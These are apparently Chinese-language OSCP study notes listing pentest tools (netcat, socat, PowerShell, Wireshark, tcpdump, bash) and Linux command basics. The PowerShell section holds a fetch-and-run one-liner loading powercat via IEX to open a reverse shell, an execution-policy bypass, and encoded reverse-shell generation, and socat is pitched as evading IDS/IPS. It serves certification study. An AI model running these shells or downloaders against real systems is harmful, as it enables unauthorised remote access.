OSCP学习笔记(2)——常用工具

NATCAT(NC)

TCP/UDP连接和数据传输工具

nc [-nv连接-nvlp监听] [-e '/bin/bash'/'cmd.exe'远程shell] [HOST] [-p {PORT}监听]
-l:监听模式,用于创建一个服务器端口并等待客户端连接。
-u:使用UDP协议而不是TCP协议。
-z:扫描模式,只扫描开放的端口,不发送任何数据。
-v:详细模式,显示更多的信息。
-w:超时时间,设置连接或读写操作的超时时间(秒)。
-n:不进行DNS解析,直接使用IP地址。
-e:执行命令,将输入和输出重定向到指定的命令。
-p:源端口号,指定本地主机的源端口号。
-s:源IP地址,指定本地主机的源IP地址。

Socat

加密shell,支持证书加密,本质上和nc一致,躲避IPS和IDS

IPS和IDS是两种常用的网络安全设备,它们的目的是监测和防御网络中的入侵行为,保护网络资源的机密性、完整性和可用性。
IPS是入侵防御系统(Intrusion Prevention System),它是一种主动的安全控制设备,它工作在网络层或应用层,通过在网络间相互连接的设备上加载允许、禁止来自某些特定的源地址、目的地址、TCP端口号等规则,对通过设备的数据包进行检查,并根据内置的入侵知识库,对数据包进行深度分析,如果发现潜在的攻击行为,可以立即采取阻断、丢弃、重置等措施,阻止攻击进入内部网络。
IDS是入侵检测系统(Intrusion Detection System),它是一种被动的安全监测设备,它工作在网络层或应用层,通过在网络上被动地、无声息地收集它所关心的报文,对收集来的报文提取相应的流量统计特征值,并利用内置的入侵知识库,与这些流量特征进行智能分析比较匹配,如果发现可疑的活动或攻击行为,可以根据相应的配置进行报警或进行有限度的反击。
IPS和IDS的区别在于,IPS是一种主动防御设备,可以实时阻止入侵行为,而IDS是一种被动监测设备,只能发现入侵行为并报警。
IPS和IDS各有优缺点,适用于不同的场景。IPS比较适合部署在网络边界,抵御来自外部的攻击,而IDS比较适合部署在网络内部,监控整个网络安全状况。

Powershell

Get-ExecutionPolicy
#查看现有策略(默认为restricted,不信任ps1脚本运行)
Set-ExecutionPolicy Unrestricted
#将策略设置为不限制
powershell -exec bypass -c "COMMAND"
#绕过现有执行策略
powershell -c "(new-object System.Net.WebClient).DownloadFile('[URL],'[TARGET]')"
#通过dot.net下载文件
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c [HOST] [-p {PORT}] -e cmd
#简单的反弹shell,需要加载ps1文件(Powershell版本的Netcat)

#TODO:一句话
powercatc -c [HOST] [-p {PORT}] -e cmd.exe [-g生成反弹shell代码/e用base64加密] > reverseshell.ps1
powershell.exe -E [ENCODEDSHELL]
#powercat生成反弹shell

Wireshark

dumpcap实现,默认root/wireshark组可用,所以要添加用户进wireshark用户组,允许用户在所有网卡抓包

sudo usermod -aG wireshark $USER

搜索Flag位上PUSH的值
“`tcp.flags.push==1“`即有信息传输

tcpdump

命令行感觉还是不如wireshark,除了能写脚本自动化

tcpdump [-r FILE]
tcpdump [-n跳过DNS解析/X以16进制显示/A省略包头] [-r FILE] awk-F " " '{print $5)'| sort | uniq -c | head
tcpdump [-nXA] [src host {HOST}源端口] [-r FILE]
tcpdump [-nXA] [dst host {HOST}目标端口] [-r FILE]
tcpdump [-nXA] [port {PORT}] [-r FILE]

bash

bash脚本编写

#!/bin/bash
#声明解析器
[KEY]=[VALUE]
[KEY]=$(COMMAND) / `COMMAND`
[KEY1]='STRING'
[KEY2]="$KEY1"
#定义变量
$0 #脚本文件名自己
$1-$9 #Bash脚本的前9个参数
$# #传递给Bash脚本的参数数量
$@ #传递给Bash脚本的所有参数
$? #最近运行的程序的退出状态
$USER #运行脚本的用户的用户名
$HOSTNAME #计算机的主机名
$RANDOM #生成个随机数
$LINENO #今脚本中的当前行号
#特殊变量
read [-p 'TOPIC'] [-s安全输入] [KEY]
#读入变量
if (!)[<EXPRESSION1>] (&&)/(||) [<EXPRESSION1>]
then
    <ACTION1>
elif [<EXPRESSION2>]
then
    <ACTION3>
else
    <ACTION3>
fi
-n STRING #长度大于零
-z STRING #长度等于零
STRING1 [!]= STRING2 #字符串判断
INTEGER1 [-eq/ne/gt/lt/ge/le] INTEGER2 #e表示等于,g(reat)大于,l(ess)小于,n(o)不
[-d存在目录/e存在/r可读/s不为空/w可写/x可执行] FILE #目录/文件
#条件判断
for var_name in <list>
do
    <ACTION>
done
#FOR循环
while [<EXPRESSION>]
do
    <ACTION>
done
#WHILE循环
function func_name{
    <ACTION>
}
func_name(){
    <ACTION>
}
#函数

OSCP学习笔记(1)——Linux基础

查询指令的若干方法

  1. tldr
    too long don’t read
tldr [command]
tldr --update
  1. man系统手册
man [-k]/[N] [command]
  1. which/whereis/whatis/locate
    查询指令所在目录,如果不存在可以先执行
    “`updatedb“`更新文件目录

systemctl

启用或关闭系统服务

systemctl start/enable/stop/disable [service]

列出所有服务

systemctl list-unit-files

ss

查询所有tcp套接字

ss -anltp

ENV

$SHELL #使用的shell类型
$USER #当前用户
$PWD #当前目录
$PATH #程序目录
$$ #当前shell的pid
export a=b #定义全局环境变量
env #查看所有环境变量

管道(|)&重定向(><)

  1. 标准输入(STDIN-O):向程序输入数据

    <从某文件输入

  2. 标准输出(STDOUT-1):程序的输出(默认输出到当前终端)

    > 输出到某文件
    >>追加输出到某文件

  3. 标准报错(STDERR-2):报错消息(默认输出到当前终端)

    \2>/dev/null将错误输出丢弃

  4. 管道[command1] | [command2]

    指令1的标准输出传输至指令2的标准输入

grep

grep [-R递归搜索] [-i忽略大小写] [-E正则表达式] [目标] [目录/文件]

find

find [目录] [-regex '正则表达式']

sed

替换

sed [-i替换文件] 's/REPLACE/TARGET/g' [FILENAME(ONLY -i)]

cut/awk

内容提取单个分隔符

cut [-d '分隔符'(单个字符)] [-f NUM(取第NUM部分)]

多个字符

awf [-F "分隔符"] '{print $NUM1"\n"$NUM2}'(输出格式)

sort/uniq

去除重复的

sort -u

倒序排序

sort -run

去重并且显示数量

uniq -c

openssl

生成Linux用户密码

openssl passwd [-1 MD5加密] [PASSWORD]

comm

comm,分别会显示A B AB

comm [-123 不显示哪些行数] [file1] [file2]

diff

diff [-c上下文格式] [-u统一格式] [file1] [file2]

vimdiff交互界面

vimdiff [file1] [file2]

ps

ps [-e所有进程] [-f全部格式]
ps [aux(显示BSD格式)]

kill

kill [-9强制kill] [pid]

tail

tail [-f实时监控] [-n NUM(显示结尾NUM行)] [file]

wget/curl/axel

wget支持http/https/ftp

wget -O [NEW_NAME] [URL]

curl支持IMAP/S,POP3/S,SCP,SFTP,SMB/S,SMTP/S,TELNET,TFTP,执行下载、上传等操作

curl -o [NEW_NAME] [URL]

axel支持FTP/HTTP加速下载,分片断点续传

axel -a [-n NUM(分片NUM)] -o [NEW_NAME] [URL]

alias

别名,重复指令简化
例如将
“`lsa“`设置为“`ls -la“`

alias lsa='ls -la'
unalias lsa

别名持久化
“`/etc/bash.bashrc“`和“`~/.bashrc“`

文件属性

查看文件属性

lsattr

修改属性(只需要可写)

chattr [-i修改只读i属性]